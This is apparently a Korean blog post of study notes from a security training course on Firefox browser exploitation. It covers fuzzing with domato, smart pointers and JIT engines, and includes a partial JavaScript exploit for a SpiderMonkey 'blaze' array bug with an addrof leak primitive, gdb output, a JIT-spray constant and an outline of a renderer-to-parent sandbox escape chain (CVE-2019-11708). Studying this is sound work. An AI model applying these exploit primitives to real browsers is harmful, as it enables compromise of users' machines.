브라우저 공격 벡터
DOM, JavaScript, 3D, SVG, Audio/Video,
Stativ HTML <=> DOM Style
DOM Class hierarchy
->자바스크립트 이용해서 만질 수 있다.
?id=662767
우리만의 퍼저!!
domato
SmartPointer 공부!!
Firefox, Chrome에서 자기네 SmartPointer사용
자바스크립트도 가상머신기반이다
ECMAScript 정독 필요!
JIT 컴파일러
Javascript Engine이름
array_blaze
var arr = new Array(1,2,3,4);
var ua8 = new Uint8Array(32); //32 =>0x20h
var original_data_slot=0;
load('./utils.js');
load('./int64.js');
arr.blaze();
var leak_obj=[1,2,3,4,5];
original_data_slot=arr[13];
var primitives={
addrof:function(object){
arr[11]=8; //byte length
arr[13]=original_data_slot; //data_slot
arr[14]=object;//index 0 for leak
return Int64.fromJSValue(ua8.slice(0,8));
},
read: function(addr){
;
},
write: function(addr, v){
;
},
};
print(primitives.addrof(leak_obj))
//print(arr);
Math.atan2
break js::math_atan2
vp를 이용해서 따라가면 된다
x/4a
(gdb) x/4a 0x7ffff52d0088
0x7ffff52d0088: 0xfffe7ffff55aad80 0xfffe7ffff5580240
0x7ffff52d0098: 0xfffe7ffff5589100 0xfffe7ffff558b140
3번째거 릭오브젝트
제대로 가지고 왔음을 알 수 있다
릭까지 됐다!!
URL을 마음대로 바꿀 수 있다
Renderer exploit을 한번 더 실행
Renderper process exploit해가지고 ROP통해서 cve-2019-11708
한번 더 exploit해가지고 쉘코드가 계산기를 띄우는
두번째에서는 parent process에서 돌아가고 있으니까 샌드박스가 안걸려있다!!
Sandbox
render process(child process) exploit해가지고 parent process에서 exploit한번 더 실행
IPDL이라는 긴으으로 parent와 child가 통신한다 MessasgeManager를 이용
MessageManager를 ROP해서 MessageManager기능을 만들면 된다.
Window Integrity level
Renderer (Low에서 돈다)
아래 권한에 요청을 맘대로 보낼 수 있다.
```in JS
function x1(){
const g0=0xc3c3c3c3.asDouble;
}
```
Untrusted < Low
'비오비' 카테고리의 다른 글
[8/18] 김재기 멘토님 (0) | 2019.08.18 |
---|---|
파폭2 (0) | 2019.08.17 |
8/4[김재기멘토님] (0) | 2019.08.04 |
8/4 [박세준 멘토님] (0) | 2019.08.04 |
8/3[이종호] (0) | 2019.08.03 |